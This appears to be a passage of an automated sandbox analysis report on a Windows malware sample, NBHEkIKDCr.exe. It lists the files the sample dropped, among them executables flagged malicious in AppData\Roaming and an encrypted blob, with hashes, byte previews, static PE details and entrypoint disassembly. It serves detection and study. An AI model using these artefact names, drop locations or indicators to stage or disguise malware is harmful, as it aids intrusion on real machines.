SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DBBF.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DCE9.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3bb55t5v.bw1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evnncte1.fvx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jyv0mjd0.ro5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vob0wgmc.cai.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	5.8975201046735535
Encrypted:	false
SSDEEP:	384:ED4NeA1PrXPBdHCNPJEQkWybd0oBSRnAZ806OSDrgtOFXqYUPYNQLJ/k+9tPEBer:64NHPfHCs6GNOpiM+RFjFyzcN23A
MD5:	3ADAA386B671C2DF3BAE5B39DC093008
SHA1:	067CF95FBDB922D81DB58432C46930F86D23DDED
SHA-256:	71CD2F5BC6E13B8349A7C98697C6D2E3FCDEEA92699CEDD591875BEA869FAE38
SHA-512:	BBE4187758D1A69F75A8CCA6B3184E0C20CF8701B16531B55ED4987497934B3C9EF66ECD5E6B83C7357F69734F1C8301B9F82F0A024BB693B732A2D5760FD303
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P.......................................................................P.......P..(............................p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\D5C5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	6.498036046725285
Encrypted:	false
SSDEEP:	12288:kRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExyc:WObekrkfohrP337uzHnA6cH+iHEOWUGq
MD5:	DC768C91E97B42F218028EFA028C41CC
SHA1:	63E5B917E7EB1FE94707CDE664875B71B247EEB5
SHA-256:	A0991507C9DA2C3E21DDA334920FC6C36A7FA1595D4C865C6C200C05128F2EFE
SHA-512:	956D9B9B092B030D99ED6FF9673A0C132FF0565BD80C7AC63BFAC1E3D80062BC641585776BA0D86E2F39DF0D2CDD6DED403979E9CAA65BBB42EC01A0D4106459
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\D5C5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	6.498036046725285
Encrypted:	false
SSDEEP:	12288:kRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExyc:WObekrkfohrP337uzHnA6cH+iHEOWUGq
MD5:	DC768C91E97B42F218028EFA028C41CC
SHA1:	63E5B917E7EB1FE94707CDE664875B71B247EEB5
SHA-256:	A0991507C9DA2C3E21DDA334920FC6C36A7FA1595D4C865C6C200C05128F2EFE
SHA-512:	956D9B9B092B030D99ED6FF9673A0C132FF0565BD80C7AC63BFAC1E3D80062BC641585776BA0D86E2F39DF0D2CDD6DED403979E9CAA65BBB42EC01A0D4106459
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\cwischf

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	306688
Entropy (8bit):	6.4619048925889695
Encrypted:	false
SSDEEP:	3072:9LDAc4ReZTGILbSOCCzNvF/YoyHmwMdYLwoyPecTsAXg5ejddu8HVZF7:9LUFUZvnSOCCzNvF/YowQxZ3zu8HVn7
MD5:	BE660C6932B361DEB87C71F2EA16E448
SHA1:	015F40BE62C9C94B8D45A344786AA1E458318637
SHA-256:	DF637F135A79AD735076D490AC09193AB8923CFB7150AD01EACF1AF3E5140A8D
SHA-512:	DA695896FEB26E3259A45D52440F32DF7BCEDA38A100490D121D78837B733766BCF1BD070FC7939152C35D23C134F21989DD80F02414074E65842A22B4456F12
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......b.................b...zD......0............@...........................F.................................................x.....D.............................................................0...@............................................text...V`.......b.................. ..`.rdata...M.......N...f..............@..@.data.....B.........................@....rsrc.........D.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\faischf

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.471327353690209
Encrypted:	false
SSDEEP:	3072:iLsAc4ReXdq6EshotzsgiRM5tyqIOx1xVoFz4AXy5eZdu8HVZF7:iLvFUc6EsyJhyaoFz5xTu8HVn7
MD5:	B53CE56FB0E4F176F943246F0F9A9761
SHA1:	42F3458F496F909D75EB5965D72539E8B2AE9417
SHA-256:	F73356F929E4433AB8E4DE72DD2066285B3DB7CF3C556C8C651A1E9A7F6CF546
SHA-512:	240A8CE469C14288DCEE216963916FE7473D7AEA08A4B88B07F8C079F8A5006A32DD195B7678E7EDED1F53F243FE58F308B09DA74F281F38D68563FD94A91D50
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...W.~c.................b...zD......0............@...........................F.....-...........................................x.....D.............................................................0...@............................................text....`.......b.................. ..`.rdata...M.......N...f..............@..@.data.....B.........................@....rsrc.........D.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\faischf:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\veisege

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.999305679387686
Encrypted:	true
SSDEEP:	6144:rq9RNxvY45XH1+UBuRksy630oKhQClYP4t0Qod49:rqTNZV1HcUBu26EhhQCLH59
MD5:	A841485D04D1CDD3E0D760C76F6093C3
SHA1:	FED4B49B5C9F6F16200E6CF6082EF7BCC159C42F
SHA-256:	1FE1FC55793D2771861605887EE3648A9939D6E15C65F2A6A366002BB3D78376
SHA-512:	0EAC29DAD41EC2337858662DD3BB9947ADAC12175ABFDB1387DF5C41528C0F000442D4565A704C26EDE0EB599EEF865E79E1F54D3E24D3DD061FB96260C5D521
Malicious:	false
Preview:	a.....-..W[[s...N..qp.P..{.R..'j..^1...{..)x..h,t.h(.....^bb....$....=..:...j...~8.........n..+..a..^.j.#o=.!.y...".7...l.L;....."..a..9..oV.....\|CcJ..'.......c .._.U.j.f.W\|q...8-.v...8.C2.=.=.S2..J.S.........6n7..z..V0.=.7U.#0.m.......A...:..L..u...jS...)....).....J1(~.-.v<..d..J.J..rX...Z.1...).?lh.'....a.5.)..C......X..7.c.p....mf.<..GA.....a...jm.,.i--H6Y.F[..U.C...--....o...N..A....n..92N.InC... ..d..a.1D.L.f....1A:x.bF@.WT.AP.(.....r..N'.-1..0.r\P&.E.P.._.5....Kn.m....blF.F._....GD..R.?...X'.p.;.....DKRU.....b,.Vk.nx..d....#~...Z?L..\.D.hN..O.$................W...=.}..;....u...@.l.A.."...M6]....B...[.... ._....NC7..jJ.a.%.IE.uh.....{.kp6.R.O..Q.o......r..O..w\DL....{.....TVH^~.B...X.v.M8.T{.f...4...v...E..^n[4u.F#.......-.R.g@...`.=<c.M+..HE=..3...&.w...X.j.-.Z...G...Dq. .t.....m...Q.o...........x.....l.-.:\...q..$..vs/.....+.+1~..CZ......5.....9p.8D.q.j.,....}bkx...v..D...&...h.F;.&c.W....Jn.y...Z.+.7..O.U32.9...........z..=..O.W.....v

C:\Windows\Logs\CBS\CBS.log

Download File

Process:	C:\Windows\servicing\TrustedInstaller.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, LF line terminators
Category:	modified
Size (bytes):	6225920
Entropy (8bit):	5.251496072070697
Encrypted:	false
SSDEEP:	24576:KV5tI95VcEDi0v3lchlh6lRdKNhFk15NG:KV5tI95Vr3lchlh6lRdKNhFk15N
MD5:	A8CAEEC2D260CCBF297448E8293D4772
SHA1:	AA8BBC341F88D8234A3275D8323CC59BEA9ED234
SHA-256:	A69AE123E2D3C2E832C4971E251CA410AD220BB649C8EFCEB7A0CD28FED1D0A6
SHA-512:	0D7CE38CF89D8E97B9F86E01392F42C42ADF55D743667BA0529C77315FA05C0F4DE012ADFAD0BE4C84D2289DCDD7F11CD896CA4E9C09D82C461176B7341ECB36
Malicious:	false
Preview:	.2023-10-03 09:57:33, Info CBS Starting TiWorker initialization...2023-10-03 09:57:33, Info CBS Lock: New lock added: TiWorkerClassFactory, level: 30, total lock:2..2023-10-03 09:57:33, Info CBS Ending TiWorker initialization...2023-10-03 09:57:33, Info CBS Starting the TiWorker main loop...2023-10-03 09:57:33, Info CBS TiWorker starts successfully...2023-10-03 09:57:33, Info CBS Lock: New lock added: CCbsWorker, level: 5, total lock:3..2023-10-03 09:57:33, Info CBS Universal Time is: 2023-10-03 08:57:33.888..2023-10-03 09:57:33, Info CBS Loaded Servicing Stack v10.0.19041.1940 with Core: C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1940_none_7dd80d767cb5c7b0\cbscore.dll..2023-10-03 09:57:33, Info CBS Build: 19041.1.amd64fre.vb_release.191206-1406..2023-10-03 09:57:33

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.354902188542171
Encrypted:	false
SSDEEP:	48:CWSU4y4RQmFoUeWmfgZ9tK8NPdMs7u1iMuge//8aOUyu0lhV:CLHyIFKL3IZ2KlDOugg01
MD5:	80EA35E6235366285D62F286CDAE9652
SHA1:	D92475BA18044F955224B9F524F6848F76D1F89B
SHA-256:	5E0126B3E9570F2BA3024C6F332DE08DCE09F1BF0B516132E5E417CDE6BB459F
SHA-512:	9C478D0C78D2B84F6AE98B7D01DF861D00D1A8CC135CC39ABE0219FACA9D44D0B71B756BB91C56FAB99DF1DA0095F2BB084BF31F152CA64DFC7B328CA18F315D
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....m.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Windows\Temp\__PSScriptPolicyTest_coamzhzo.4w2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_crl0cajh.khl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_eeihmt03.dzd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_njyyyywi.iel.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.471327353690209
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	NBHEkIKDCr.exe
File size:	306'688 bytes
MD5:	b53ce56fb0e4f176f943246f0f9a9761
SHA1:	42f3458f496f909d75eb5965d72539e8b2ae9417
SHA256:	f73356f929e4433ab8e4de72dd2066285b3db7cf3c556c8c651a1e9a7f6cf546
SHA512:	240a8ce469c14288dcee216963916fe7473d7aea08a4b88b07f8c079f8a5006a32dd195b7678e7eded1f53f243fe58f308b09da74f281f38d68563fd94a91d50
SSDEEP:	3072:iLsAc4ReXdq6EshotzsgiRM5tyqIOx1xVoFz4AXy5eZdu8HVZF7:iLvFUc6EsyJhyaoFz5xTu8HVn7
TLSH:	8E64295383E17C54EA264B729F2ECAF8771EF5508F19376A6A19AE1F04B04B2C1B3711
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...W.~c...

File Icon


Icon Hash:	4949414515514509

Static PE Info

General

Entrypoint:	0x403094
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x637EB757 [Thu Nov 24 00:14:15 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	8f993b896626097f138ac36dad26e14c

Entrypoint Preview

Instruction
call 00007FE680CEFF5Ch
jmp 00007FE680CEAB3Eh
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FE680CEACE6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FE680CEAD10h
test ecx, 00000003h
jne 00007FE680CEACB1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FE680CEACAAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FE680CEACF4h
test ah, ah
je 00007FE680CEACE6h
test eax, 00FF0000h
je 00007FE680CEACD5h
test eax, FF000000h
je 00007FE680CEACC4h
jmp 00007FE680CEAC8Fh
